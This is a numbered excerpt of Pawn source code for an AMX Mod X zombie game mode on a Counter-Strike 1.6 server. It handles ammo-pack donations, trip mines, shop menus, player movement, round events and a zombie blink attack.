2533 return 1
2534 }
2535
2536 if (amount > g_iPacks[iPlayer])
2537 {
2538 client_print_color ( iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs.")
2539 return 1
2540 }
2541
2542 g_iPacks[plr] += amount
2543 g_iPacks[iPlayer] -= amount
2544
2545 new ammostr[32]
2546 AddCommas(amount, ammostr, 31)
2547 client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 donated^4 %s ammo^1 to^3 %s", g_cName[iPlayer], ammostr, g_cName[plr])
2548 return 1;
2549 }
2550 if (equal(cMessage, "/lm", 0) || equal(cMessage, "lm", 0))
2551 {
2552 if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
2553 {
2554 client_print_color ( iPlayer, print_team_default, "^4[Zombie Outstanding]^1 Mines are unavailable right now!");
2555 return 0;
2556 }
2557 else
2558 {
2559 if ( g_iPacks [iPlayer] < 5 )
2560 {
2561 client_print_color ( iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You need at least^4 5 ammo packs");
2562 return 0;
2563 }
2564 g_iPacks [iPlayer] -= 5;
2565 g_iTripMines [iPlayer]++;
2566 client_print_color ( iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Press^3 P^1 to plant it or^3 V^1 to take it!");
2567 client_cmd(iPlayer, "bind p plant_mine; bind v take_mine");
2568 return 0;
2569 }
2570 }
2571 }
2572 return 0;
2573}
2574
2575public Client_SayTeam ( id )
2576{
2577 if ( read_argc ( ) < 2 ) return PLUGIN_HANDLED;
2578
2579 static Float:fGameTime;
2580
2581 fGameTime = get_gametime();
2582
2583 if (g_fGagTime[id] > fGameTime)
2584 {
2585 return 1;
2586 }
2587 new Said [2]; read_argv ( 1, Said, charsmax ( Said ) );
2588
2589 if ( Said [0] != '@' ) return PLUGIN_CONTINUE;
2590
2591 new Message [192]; read_args ( Message, charsmax ( Message ) );
2592
2593 remove_quotes ( Message );
2594
2595 new Players [32], Num;
2596
2597 if ( get_user_flags ( id ) & read_flags ( "f" ))
2598
2599 format ( Message, charsmax ( Message ), "^4[ADMINS]^3 %s^1 :%s", GetInfoPlayer ( id, INFO_NAME ), Message [1] );
2600
2601 else
2602
2603 format ( Message, charsmax ( Message ), "^3(PLAYER) %s^1 :%s", GetInfoPlayer ( id, INFO_NAME ), Message [1] );
2604
2605 get_players ( Players, Num );
2606
2607 for ( new i = 0; i < Num; ++ i )
2608 {
2609 if ( Players [i] != id && read_flags ("f") )
2610
2611 client_print_color ( Players [i], print_team_grey, "%s", Message );
2612 }
2613
2614 client_print_color ( id, print_team_grey, "%s", Message );
2615 return PLUGIN_HANDLED;
2616}
2617
2618public ClientCommand_Say( id )
2619{
2620 static cPhrase[ 192 ], i;
2621 read_args( cPhrase, 191 );
2622
2623 if( containi( cPhrase, "CsOutStanding.Com" ) != -1 )
2624 return PLUGIN_CONTINUE;
2625
2626 for(i = 0; i < sizeof ( g_szRestrictedThings ); i++)
2627 {
2628 if( containi( cPhrase, g_szRestrictedThings[ i ] ) != -1 )
2629 {
2630 client_cmd( id, "say NewLifeZm.CsOutStanding.Com" );
2631
2632 return PLUGIN_HANDLED;
2633 }
2634 }
2635
2636 return PLUGIN_CONTINUE;
2637}
2638
2639public _GameMenu(iPlayer, iMenu, iItem)
2640{
2641 if (iItem != -3 && !g_bFake[iPlayer] && g_bConnected[iPlayer])
2642 {
2643 static iChoice;
2644 static iDummy;
2645 static cBuffer[3];
2646 menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
2647 iChoice = str_to_num(cBuffer);
2648 switch (iChoice)
2649 {
2650 case 0:
2651 {
2652 if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer])
2653 {
2654 static cNumber[3];
2655 static cLine[128];
2656 static i;
2657 g_iMenuExtraItems = menu_create("Extra Items", "_ExtraItems", 0);
2658 i = 0;
2659 while (i < 25)
2660 {
2661 if (g_iExtraItemsTeams[i] == 1 && !g_bZombie[iPlayer])
2662 {
2663 }
2664 else
2665 {
2666 if (!(g_bZombie[iPlayer] && g_iExtraItemsTeams[i] == 2))
2667 {
2668 formatex(cLine, 128, "%s %s", g_cExtraItems[i], g_cExtraItemsPrices[i]);
2669 num_to_str(i, cNumber, 3);
2670 menu_additem(g_iMenuExtraItems, cLine, cNumber, 0, -1);
2671 }
2672 }
2673 i += 1;
2674 }
2675 menu_display(iPlayer, g_iMenuExtraItems, 0);
2676 }
2677 else
2678 {
2679 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Extra items are unavailable right now...");
2680 }
2681 }
2682 case 1:
2683 {
2684 menu_display(iPlayer, g_iMenuZombieClasses, 0);
2685 }
2686 case 2:
2687 {
2688 static cNumber[3];
2689 static cLine[128];
2690 static i;
2691 g_iShopMenu = menu_create("Shop Menu", "_ShopMenu", 0);
2692 i = 0;
2693 while (i < 8)
2694 {
2695 if (g_iShopItemsTeams[i] == 2 && g_bZombie[iPlayer])
2696 {
2697 }
2698 else
2699 {
2700 formatex(cLine, 128, "%s %s", g_cShopItems[i], g_cShopItemsPrices[i]);
2701 num_to_str(i, cNumber, 3);
2702 menu_additem(g_iShopMenu, cLine, cNumber, 0, -1);
2703 }
2704 i += 1;
2705 }
2706 menu_display(iPlayer, g_iShopMenu, 0);
2707 }
2708 case 3:
2709 {
2710 if (g_bAlive[iPlayer])
2711 {
2712 if (is_player_stuck(iPlayer))
2713 {
2714 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You have been unstucked!")
2715 static players[32], pnum , Float:origin[3], Float:mins[3], hull, Float:vec[3], o , i
2716 get_players(players, pnum)
2717
2718 for(i=0; i<pnum; i++)
2719 {
2720 iPlayer = players[i]
2721 if (is_user_connected(iPlayer) && is_user_alive(iPlayer))
2722 {
2723 pev(iPlayer, pev_origin, origin)
2724 hull = pev(iPlayer, pev_flags) & FL_DUCKING ? HULL_HEAD : HULL_HUMAN
2725 if (!unstuck_is_hull_vacant(origin, hull,iPlayer) && !get_user_noclip(iPlayer) && !(pev(iPlayer,pev_solid) & SOLID_NOT))
2726 {
2727 ++on_stuck[iPlayer]
2728 if(on_stuck[iPlayer] >= 1)
2729 {
2730 pev(iPlayer, pev_mins, mins)
2731 vec[2] = origin[2]
2732 for (o=0; o < sizeof sizez; ++o)
2733 {
2734 vec[0] = origin[0] - mins[0] * sizez[o][0]
2735 vec[1] = origin[1] - mins[1] * sizez[o][1]
2736 vec[2] = origin[2] - mins[2] * sizez[o][2]
2737 if (unstuck_is_hull_vacant(vec, hull,iPlayer))
2738 {
2739 engfunc(EngFunc_SetOrigin, iPlayer, vec)
2740 client_cmd(iPlayer,"spk fvox/blip.wav")
2741 set_pev(iPlayer,pev_velocity,{0.0,0.0,0.0})
2742 o = sizeof sizez
2743 }
2744 }
2745 }
2746 }
2747 else
2748 {
2749 on_stuck[iPlayer] = 0
2750 }
2751 }
2752 }
2753 }
2754 else
2755 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are dead or your are not stuck...")
2756 }
2757 }
2758 case 4:
2759 {
2760 static queryData[32] = { 0, ... };
2761 if (!g_bRanked[iPlayer])
2762 {
2763 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are not ranked yet!");
2764 }
2765 else
2766 {
2767 num_to_str(iPlayer, queryData, charsmax(queryData));
2768
2769 formatex(g_Query, charsmax(g_Query), "SELECT DISTINCT kmdValue FROM Players WHERE kmdValue >= %d ORDER BY kmdValue ASC;", g_kmdValue[iPlayer]);
2770
2771 SQL_ThreadQuery(g_Tuple, "printRankChat", g_Query, queryData, sizeof(queryData));
2772 }
2773 }
2774 case 5:
2775 {
2776 client_cmd(iPlayer, "say /top")
2777 }
2778 default:
2779 {
2780 }
2781 }
2782 }
2783 return PLUGIN_HANDLED;
2784}
2785
2786public OnPlayerDuck ( id )
2787{
2788 if ( !g_bAlive [id] ) return;
2789
2790 if ( g_bZombie [id] && g_iPlayerType[id] & 1 && g_iPlayerType[id] & 2)
2791
2792 set_pev ( id, pev_flTimeStepSound, 999 );
2793
2794 if ( g_bFrozen [id])
2795 {
2796 set_pev ( id, pev_velocity, Float: {0.0,0.0,0.0} );
2797
2798 set_pev ( id, pev_maxspeed, 1.0 );
2799
2800 return;
2801 }
2802 else if ( FreezeTime )
2803 {
2804 return;
2805 }
2806 else
2807 {
2808 if ( g_bZombie [id] )
2809 {
2810 if ( g_iPlayerType[id] & 1 )
2811
2812 set_pev ( id, pev_maxspeed, 250.0 );
2813
2814 else if ( g_iPlayerType[id] & 2 )
2815
2816 set_pev ( id, pev_maxspeed, 600.0 );
2817
2818 else
2819 set_pev ( id, pev_maxspeed, g_fZombieSpeeds[g_iZombieClass[id]]);
2820 }
2821 else
2822 {
2823 if ( g_iPlayerType[id] & 4 )
2824
2825 set_pev ( id, pev_maxspeed, 230.0 );
2826
2827 else if ( g_iPlayerType[id] & 8 )
2828
2829 set_pev(id, pev_maxspeed, 235.0 );
2830
2831 else
2832
2833 set_pev(id, pev_maxspeed, 240.0 );
2834 }
2835 }
2836 static Float: CoolDown, Float: CurrentTime;
2837
2838 if ( g_bZombie [id] && g_iPlayerType[id] & 1 )
2839 {
2840 CoolDown = 1.0;
2841 }
2842 else return;
2843
2844 CurrentTime = get_gametime ( );
2845
2846 if ( CurrentTime - g_fLastLeapTime [id] < CoolDown ) return;
2847
2848 if ( !g_bFake [id] && !( pev ( id, pev_button ) & ( IN_JUMP | IN_DUCK ) == ( IN_JUMP | IN_DUCK ) ) ) return;
2849
2850 if ( !( pev ( id, pev_flags ) & FL_ONGROUND ) || fm_get_speed ( id ) < 80 ) return;
2851
2852 static Float: Velocity [3];
2853
2854 velocity_by_aim ( id, 500, Velocity )
2855
2856 Velocity [2] = 300.0;
2857
2858 set_pev ( id, pev_velocity, Velocity );
2859
2860 g_fLastLeapTime [id] = CurrentTime;
2861}
2862
2863public OnPreFrame(iPlayer)
2864{
2865 if (g_bAlive[iPlayer])
2866 {
2867 if (g_bFrozen[iPlayer])
2868 {
2869 fm_set_user_maxspeed(iPlayer, 1.0);
2870 }
2871
2872 if (g_bZombie[iPlayer])
2873 {
2874 if (!g_iPlayerType[iPlayer])
2875 {
2876 fm_set_user_maxspeed(iPlayer, g_fZombieSpeeds[g_iZombieClass[iPlayer]]);
2877 fm_set_user_gravity(iPlayer, g_fZombieGravities[g_iZombieClass[iPlayer]]);
2878 }
2879 else
2880 {
2881 if (g_iPlayerType[iPlayer] & 1)
2882 {
2883 fm_set_user_maxspeed(iPlayer, 250.0);
2884 fm_set_user_gravity(iPlayer, 0.5);
2885 }
2886 if (g_iPlayerType[iPlayer] & 2)
2887 {
2888 fm_set_user_maxspeed(iPlayer, 600.0);
2889 fm_set_user_gravity(iPlayer, 0.33);
2890 }
2891 }
2892 }
2893 else
2894 {
2895 if (!g_iPlayerType[iPlayer])
2896 {
2897 fm_set_user_maxspeed(iPlayer, 240.0);
2898 fm_set_user_gravity(iPlayer, 1.0);
2899 }
2900 if (g_iPlayerType[iPlayer] & 4)
2901 {
2902 fm_set_user_maxspeed(iPlayer, 250.0);
2903 fm_set_user_gravity(iPlayer, 1.0);
2904 }
2905 if (g_iPlayerType[iPlayer] & 8)
2906 {
2907 fm_set_user_maxspeed(iPlayer, 250.0);
2908 fm_set_user_gravity(iPlayer, 0.8);
2909 }
2910 }
2911 }
2912 return 0;
2913}
2914
2915public OnPlayerJump(iPlayer)
2916{
2917 if (g_bAlive[iPlayer])
2918 {
2919 new nbut = get_user_button(iPlayer)
2920 new obut = get_user_oldbutton(iPlayer)
2921
2922 if (g_bZombie[iPlayer] && !g_iPlayerType[iPlayer] && g_iZombieClass[iPlayer] == 3)
2923 {
2924 if ((nbut & IN_JUMP) && !(get_entity_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && !g_iJumps[iPlayer])
2925 {
2926 new Float:fVelocity[3];
2927 entity_get_vector(iPlayer, EV_VEC_velocity, fVelocity)
2928 fVelocity[2] = random_float(265.0, 285.0);
2929 entity_set_vector(iPlayer, EV_VEC_velocity, fVelocity)
2930 g_iJumps[iPlayer]++;
2931 }
2932 if((nbut & IN_JUMP) && (get_entity_flags(iPlayer) & FL_ONGROUND))
2933 {
2934 g_iJumps[iPlayer] = 0;
2935 }
2936 }
2937 if (!g_bZombie[iPlayer] && g_iMaxJumps[iPlayer])
2938 {
2939 if ((nbut & IN_JUMP) && !(get_entity_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && g_iJumps[iPlayer] <= g_iMaxJumps[iPlayer] - 1)
2940 {
2941 new Float:fVelocity[3];
2942 entity_get_vector(iPlayer, EV_VEC_velocity, fVelocity)
2943 fVelocity[2] = random_float(265.0, 285.0);
2944 entity_set_vector(iPlayer, EV_VEC_velocity, fVelocity)
2945 g_iJumps[iPlayer]++;
2946 }
2947 if((nbut & IN_JUMP) && (get_entity_flags(iPlayer) & FL_ONGROUND))
2948 {
2949 g_iJumps[iPlayer] = 0;
2950 }
2951 }
2952 }
2953 return 0;
2954}
2955
2956public client_PreThink ( id )
2957{
2958 if ( g_bAlive [id] )
2959 {
2960 new Button = get_user_button ( id );
2961
2962 new Float: FallSpeed = 50.0 * -1.0;
2963
2964 if ( Button & IN_USE )
2965 {
2966 new Float: Velocity [3];
2967
2968 entity_get_vector ( id, EV_VEC_velocity, Velocity );
2969
2970 if ( Velocity [2] < 0.0 )
2971 {
2972 entity_set_int ( id, EV_INT_sequence, 3 );
2973
2974 entity_set_int ( id, EV_INT_gaitsequence, 1 );
2975
2976 entity_set_float ( id, EV_FL_frame, 1.0 );
2977
2978 entity_set_float ( id, EV_FL_framerate, 1.0 );
2979
2980 Velocity [2] = ( Velocity [2] + 40.0 < FallSpeed ) ? Velocity [2] + 40.0 : FallSpeed;
2981
2982 entity_set_vector ( id, EV_VEC_velocity, Velocity );
2983 }
2984 }
2985 }
2986}
2987
2988public PlayerPreThink ( id )
2989{
2990 if ( g_bAlive [id] )
2991 {
2992 if (!g_bZombie [id])
2993 {
2994 if (g_vip[id] && g_bAlive[id]&&containi(g_vip_flags[id], "j")!=-1)
2995 {
2996 new nbut = get_user_button(id)
2997 new obut = get_user_oldbutton(id)
2998 if((nbut & IN_JUMP) && !(get_entity_flags(id) & FL_ONGROUND) && !(obut & IN_JUMP))
2999 {
3000 if(jumpnum[id] < 1)
3001 {
3002 dojump[id] = true
3003 jumpnum[id]++
3004 }
3005 }
3006 if((nbut & IN_JUMP) && (get_entity_flags(id) & FL_ONGROUND))
3007 {
3008 jumpnum[id] = 0
3009 }
3010 }
3011 }
3012 }
3013}
3014
3015public OnPlayerSpawn(iPlayer)
3016{
3017 if (is_user_alive(iPlayer))
3018 {
3019 g_bAlive[iPlayer] = true;
3020 g_iPlayerType[iPlayer] = 0;
3021 cs_reset_user_model(iPlayer)
3022 g_cClass[iPlayer] = "Human"
3023 g_bFlashEnabled[iPlayer] = false;
3024 g_bDoubleDamage[iPlayer] = false;
3025 g_bKilling[iPlayer] = false;
3026 g_bFlash[iPlayer] = false;
3027 g_bZombie[iPlayer] = false;
3028 g_bNoDamage[iPlayer] = false;
3029 g_bFrozen[iPlayer] = false;
3030 g_iBurningDuration[iPlayer] = 0;
3031 fm_set_user_health ( iPlayer, 150 );
3032 set_pev(iPlayer, pev_gravity, 1.0 );
3033 remove_task(iPlayer + 250);
3034 remove_task(iPlayer + 200, 0);
3035 remove_task(iPlayer + 350, 0);
3036 set_task(0.4, "task_hide_money", iPlayer+TASK_SPAWN);
3037 static Float:fCurrentTime;
3038 fCurrentTime = get_gametime();
3039 if (fCurrentTime - g_fLastChangedModel >= 0.35)
3040 {
3041 ChangeModel(iPlayer + 250);
3042 g_fLastChangedModel = fCurrentTime;
3043 }
3044 else
3045 {
3046 set_task(g_fLastChangedModel + 0.35 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
3047 g_fLastChangedModel = g_fLastChangedModel + 0.35;
3048 }
3049 fm_set_rendering ( iPlayer, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 0 );
3050 set_task(0.20, "TaskShowMenu", iPlayer, "", 0, "", 0);
3051 set_task(random_float(1.0, 5.0), "TaskRespawn", iPlayer, "", 0, "", 0);
3052 if (!g_bRoundStart)
3053 {
3054 if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 64 || g_iRoundType & 32)
3055 {
3056 MakeZombie(0, iPlayer, false, false, false);
3057 }
3058 if (!g_iRoundType || g_iRoundType & 1 || g_iRoundType & 2)
3059 {
3060 if (fm_cs_get_user_team(iPlayer) != FM_CS_TEAM_CT)
3061 {
3062 remove_task ( iPlayer + TASK_TEAM );
3063
3064 fm_cs_set_user_team ( iPlayer, FM_CS_TEAM_CT );
3065
3066 fm_user_team_update ( iPlayer );
3067 }
3068 }
3069 if (g_iRoundType & 128 || g_iRoundType & 256)
3070 {
3071 MakeHuman(iPlayer, true, false);
3072 }
3073 if (g_iRoundType & 512)
3074 {
3075 MakeZombie(0, iPlayer, false, false, true);
3076 }
3077 }
3078 }
3079 return 0;
3080}
3081
3082public TaskRespawn(iPlayer)
3083{
3084 if (g_bConnected[iPlayer] && FM_CS_TEAM_UNASSIGNED < fm_cs_get_user_team(iPlayer) < FM_CS_TEAM_SPECTATOR)
3085 {
3086 if (!g_bAlive[iPlayer])
3087 {
3088 ExecuteHamB(Ham_CS_RoundRespawn, iPlayer);
3089 set_task(1.50, "TaskRespawn", iPlayer, "", 0, "", 0);
3090 }
3091 set_pev(iPlayer, pev_effects, pev(iPlayer, pev_effects) &~ EF_BRIGHTLIGHT)
3092 set_pev(iPlayer, pev_effects, pev(iPlayer, pev_effects) &~ EF_NODRAW)
3093 }
3094 return 0;
3095}
3096
3097public EventRoundEnd()
3098{
3099 static Float:fCurrent;
3100 static Float:fLast;
3101 fCurrent = get_gametime();
3102 if (fCurrent - fLast < 0.50)
3103 {
3104 return 0;
3105 }
3106 fLast = fCurrent;
3107 g_iRoundsCount += 1;
3108 g_roundend = 1
3109 g_iRounds[g_iRoundsCount] = g_iRoundType;
3110 g_bRoundEnd = true;
3111 g_bModeStarted = false;
3112 g_iRoundType = 0;
3113 remove_task(600, 0);
3114 remove_task(700, 0);
3115 remove_task(550, 0);
3116 remove_task(900, 0);
3117 remove_task(650, 0);
3118 client_cmd(0, "stopsound");
3119 if (!GetZombies())
3120 {
3121 set_hudmessage(0, 0, 200, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
3122 ShowSyncHudMsg(0, g_iTopMessageSync, "Humans have defeated the plague!");
3123 client_cmd(0, "spk %s", g_cEndRoundHumanSounds[random_num(0, 2)]);
3124 }
3125 else if (!GetHumans())
3126 {
3127 set_hudmessage(200, 0, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
3128 ShowSyncHudMsg(0, g_iTopMessageSync, "Zombies have taken over the world!");
3129 client_cmd(0, "spk %s", g_cEndRoundZombieSounds[random_num(0, 3)]);
3130 }
3131 else
3132 {
3133 set_hudmessage(0, 200, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
3134 ShowSyncHudMsg(0, g_iTopMessageSync, "No one won...");
3135 client_cmd(0, "spk ZombieOutstanding/end_round_win_no_one");
3136 }
3137 static iFrags;
3138 static iMaximumPacks;
3139 static iMaximumKills;
3140 static iPacksLeader;
3141 static iKillsLeader;
3142 iMaximumPacks = 0;
3143 iMaximumKills = 0;
3144 iPacksLeader = 0;
3145 iKillsLeader = 0;
3146 g_iVariable = 1;
3147 while (g_iMaxClients + 1 > g_iVariable)
3148 {
3149 if (g_bConnected[g_iVariable])
3150 {
3151 iFrags = get_user_frags(g_iVariable);
3152 if (iFrags > iMaximumKills)
3153 {
3154 iMaximumKills = iFrags;
3155 iKillsLeader = g_iVariable;
3156 }
3157 }
3158 g_iVariable += 1;
3159 }
3160 g_iVariable = 1;
3161 while (g_iMaxClients + 1 > g_iVariable)
3162 {
3163 if (g_bConnected[g_iVariable] && g_iPacks[g_iVariable] > iMaximumPacks)
3164 {
3165 iMaximumPacks = g_iPacks[g_iVariable];
3166 iPacksLeader = g_iVariable;
3167 }
3168 g_iVariable += 1;
3169 }
3170 if (g_bConnected[iKillsLeader])
3171 {
3172 static a[15];
3173 AddCommas(iMaximumKills, a, 14);
3174 if (g_iKillsThisRound[iKillsLeader])
3175 {
3176 client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 frags! [^4 %d^1 this round ]", g_cName[iKillsLeader], a, g_iKillsThisRound[iKillsLeader]);
3177 }
3178 else
3179 {
3180 client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 frags!", g_cName[iKillsLeader], a);
3181 }
3182 }
3183 if (g_bConnected[iPacksLeader])
3184 {
3185 static a[15];
3186 AddCommas(iMaximumPacks, a, 14);
3187
3188 client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 packs!", g_cName[iPacksLeader], a);
3189 }
3190 set_lights ( "d" );
3191 BalanceTeams ( );
3192 return 0;
3193}
3194
3195public EventRoundStart()
3196{
3197 g_iRoundType = 0;
3198 g_roundend = 0
3199 g_bRoundEnd = false;
3200 g_bRoundStart = true;
3201 g_bModeStarted = false;
3202 FreezeTime = false;
3203 remove_task(650, 0);
3204 set_task(2.0, "TaskWelcome", 650, "", 0, "", 0);
3205 set_hudmessage(0, 125, 200, -1.00, 0.17, 1, 0.00, 3.00, 2.00, 1.00, -1);
3206 ShowSyncHudMsg(0, g_iTopMessageSync, "The T-Virus has been set loose...");
3207 g_iCounter = 16;
3208 remove_task(550, 0);
3209 set_task(16.0, "TaskZombie", 550, "", 0, "", 0);
3210 remove_task(700, 0);
3211 set_task(1.0, "TaskCounter", 700, "", 0, "a", 15);
3212 static i;
3213 i = 1;
3214 while (g_iMaxClients + 1 > i)
3215 {
3216 if (g_bConnected[i] && get_user_jetpack(i))
3217 {
3218 set_user_rocket_time(i, 0.0);
3219 }
3220 g_iMaxJumps[i] = 0;
3221 g_bDoubleDamage[i] = false;
3222 g_bTryder[i] = false;
3223 g_iBlinks[i] = 0;
3224 g_iKillsThisRound[i] = 0;
3225 g_bGaveThisRound[i] = false;
3226 g_bUnlimitedClip[i] = 0;
3227 i += 1;
3228 }
3229 return 0;
3230}
3231
3232public cmdPlugins(id)
3233{
3234 if( ~ get_user_flags( id ) & read_flags ("a"))
3235 {
3236 client_print( id, print_console, "Zombie Outstanding No Access to this command!s");
3237 return PLUGIN_HANDLED;
3238 }
3239
3240 if( id == 0 )
3241 {
3242 server_cmd( "amxx plugins" );
3243 server_exec( );
3244
3245 return PLUGIN_HANDLED;
3246 }
3247
3248 new szName[ 64 ], szVersion[ 8 ], szAuthor[ 32 ], szFileName[ 64 ], szStatus[ 32 ];
3249 new iStartId, iEndId;
3250
3251 new szTemp[ 128 ];
3252
3253 new iNum = get_pluginsnum( );
3254
3255 if( read_argc( ) > 1 )
3256 {
3257 read_argv( 1, szTemp, charsmax( szTemp ) );
3258 iStartId = str_to_num( szTemp ) - 1;
3259 }
3260
3261 iEndId = min( iStartId + 10, iNum );
3262
3263 new iRunning;
3264
3265 console_print( id, "Currently loaded plugins" );
3266
3267 new i = iStartId;
3268
3269 while( i < iEndId )
3270 {
3271 get_plugin( i++, szFileName, charsmax( szFileName ), szName, charsmax( szName ), szVersion, charsmax( szVersion ), szAuthor, charsmax( szAuthor ), szStatus, charsmax( szStatus ) );
3272 console_print( id, "%-18.17s %-11.10s %-17.16s %-16.15s %-9.8s", szName, szVersion, szAuthor, szFileName, szStatus );
3273
3274 if( szStatus[ 0 ] == 'd' || szStatus[ 0 ]=='r')
3275 {
3276 iRunning++;
3277 }
3278 }
3279 console_print(id, "%d plugins, %d running", iEndId-iStartId, iRunning );
3280 console_print(id, "----- Entries %d - %d of %d -----", iStartId + 1, iEndId, iNum );
3281
3282 if( iEndId < iNum )
3283 {
3284 formatex( szTemp, charsmax( szTemp ),"----- Use 'amx_help %d' for more -----", iEndId + 1);
3285 replace_all( szTemp, charsmax( szTemp ), "amx_help", "amx_plugins" );
3286 console_print( id, "%s", szTemp );
3287 }
3288
3289 else
3290 {
3291 formatex( szTemp, charsmax( szTemp ),"----- Use 'amx_help 1' for begin -----" );
3292 replace_all( szTemp, charsmax( szTemp ), "amx_help", "amx_plugins" );
3293 console_print( id, "%s", szTemp );
3294 }
3295
3296 return PLUGIN_HANDLED;
3297}
3298
3299public Event_RoundStart()
3300{
3301 static iEntity, szClassName[ 32 ], iPlayer;
3302 for( iEntity = 0; iEntity < 600 + 1; iEntity++ )
3303 {
3304 if( !is_valid_ent( iEntity ) )
3305 continue;
3306
3307 szClassName[ 0 ] = '^0';
3308 entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);
3309
3310 if( equal( szClassName, "zp_trip_mine" ) )
3311 remove_entity( iEntity );
3312 }
3313
3314 for( iPlayer = 1; iPlayer < 33; iPlayer++ )
3315 {
3316 g_iTripMines[ iPlayer ] = 0;
3317 g_iPlantedMines[ iPlayer ] = 0;
3318 }
3319}
3320
3321public TaskWelcome()
3322{
3323 client_print_color(0, print_team_grey, "^1****^4 Zombie Outstanding V2.0^1 by^3 SideWinder^1 ||^4 Nume.Server.Ro^1 ****");
3324 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Press^4 M^1 to open the game menu!");
3325 return 0;
3326}
3327
3328public TaskZombie()
3329{
3330 if ((g_iAliveCount = GetAliveCount()))
3331 {
3332 g_bRoundStart = false;
3333 if (g_iRoundsCount > 3)
3334 {
3335 StartSwarmMode(false);
3336 }
3337 else
3338 {
3339 StartNormalMode(0);
3340 }
3341 }
3342 else
3343 {
3344 set_task(6.0, "TaskZombie", 550, "", 0, "", 0);
3345 }
3346 return 0;
3347}
3348
3349public TaskAmbience()
3350{
3351 if (g_iRoundType & 4)
3352 {
3353 client_cmd(0, "spk ZombieOutstanding/ambience_survivor");
3354 }
3355 else
3356 {
3357 client_cmd(0, "spk ZombieOutstanding/ambience_normal");
3358 }
3359 return 0;
3360}
3361
3362public TaskCounter()
3363{
3364 g_iCounter -= 1;
3365 if (0 < g_iCounter < 9)
3366 {
3367 static cWord[12];
3368 num_to_word(g_iCounter, cWord, 12);
3369 set_hudmessage(179, 0, 0, -1.00, 0.28, 2, 0.02, 1.00, 0.01, 0.10, 10);
3370 ShowSyncHudMsg(0, g_iCounterMessage, "Infection in %d", g_iCounter);
3371 client_cmd(0, "spk fvox/%s", cWord);
3372 }
3373 return 0;
3374}
3375
3376public EventHLTV()
3377{
3378 g_bRoundStart = true;
3379 g_bModeStarted = false;
3380 g_fRoundStartTime = get_gametime();
3381 for(new id = 1; id <= g_iMaxClients; id++)
3382 {
3383 if(is_user_connected(id))
3384 {
3385 g_bKilling[id] = false
3386 g_bUnlimitedClip[id] = false;
3387 g_iBlinks[id] = 0;
3388 }
3389 }
3390 return 0;
3391}
3392
3393public FW_TraceLine_Post(Float:start[3], Float:end[3], conditions, id, trace)
3394{
3395 if (!CHECK_ValidPlayer(id))
3396 return FMRES_IGNORED;
3397
3398 new iWeaponID = get_user_weapon(id);
3399
3400 if ( iWeaponID != CSW_KNIFE )
3401 {
3402 OP_Cancel(id);
3403 return FMRES_IGNORED;
3404 }
3405
3406 new enemy = g_iEnemy[id];
3407
3408 if (!enemy){
3409
3410 enemy = get_tr2(trace, TR_pHit);
3411
3412 if ( !CHECK_ValidPlayer(enemy) || g_bZombie[enemy] )
3413 {
3414
3415 OP_Cancel(id);
3416 return FMRES_IGNORED;
3417 }
3418
3419 g_iEnemy[id] = enemy;
3420 }
3421
3422 return FMRES_IGNORED;
3423}
3424
3425public fwClientKill ( ) return FMRES_SUPERCEDE;
3426
3427public FW_PlayerPreThink(id)
3428{
3429 if (!CHECK_ValidPlayer(id))
3430 return FMRES_IGNORED;
3431
3432 new iWeaponID = get_user_weapon(id);
3433
3434 if ( iWeaponID != CSW_KNIFE || !g_bZombie[id] )
3435 {
3436
3437 OP_Cancel(id);
3438 return FMRES_IGNORED;
3439 }
3440
3441 if ( g_iBlinks[id] == 0 )
3442 return FMRES_IGNORED;
3443
3444 new button = pev(id,pev_button);
3445
3446 if ( !(button & IN_ATTACK) && !(button & IN_ATTACK2) )
3447 {
3448
3449 OP_Cancel(id)
3450 return FMRES_IGNORED;
3451 }
3452
3453 if (g_iSlash[id])
3454 g_iSlash[id] = 0;
3455
3456 OP_NearEnemy(id);
3457
3458 if( g_iInBlink[id] )
3459 {
3460
3461 OP_SetBlink(id);
3462 OP_Blink(id);
3463 g_iCanceled[id] = 0;
3464 }
3465
3466 return FMRES_IGNORED;
3467}
3468
3469public OP_NearEnemy(id)
3470{
3471 new enemy = g_iEnemy[id];
3472 new Float:time = get_gametime();
3473
3474 if (!enemy || g_fLastSlash[id]+1.0>time)
3475 {
3476
3477 g_iInBlink[id] = 0;
3478 return;
3479 }
3480
3481 new origin[3], origin_enemy[3];
3482
3483 get_user_origin(id, origin, 0);
3484 get_user_origin(enemy, origin_enemy, 0);
3485
3486 new distance = get_distance(origin, origin_enemy);
3487
3488 if ( 50.0<=distance<=300.0)
3489 {
3490
3491 g_iInBlink[id] = 1;
3492 return;
3493
3494 }else if (50.0>distance && g_iInBlink[id])
3495 {
3496 OP_Slash(id);
3497 }
3498 OP_Cancel(id);
3499}
3500
3501public OP_Blink(id)
3502{
3503 new Float:new_velocity[3];
3504 new enemy = g_iEnemy[id];
3505 new Float:origin_enemy[3];
3506
3507 pev(enemy, pev_origin, origin_enemy);
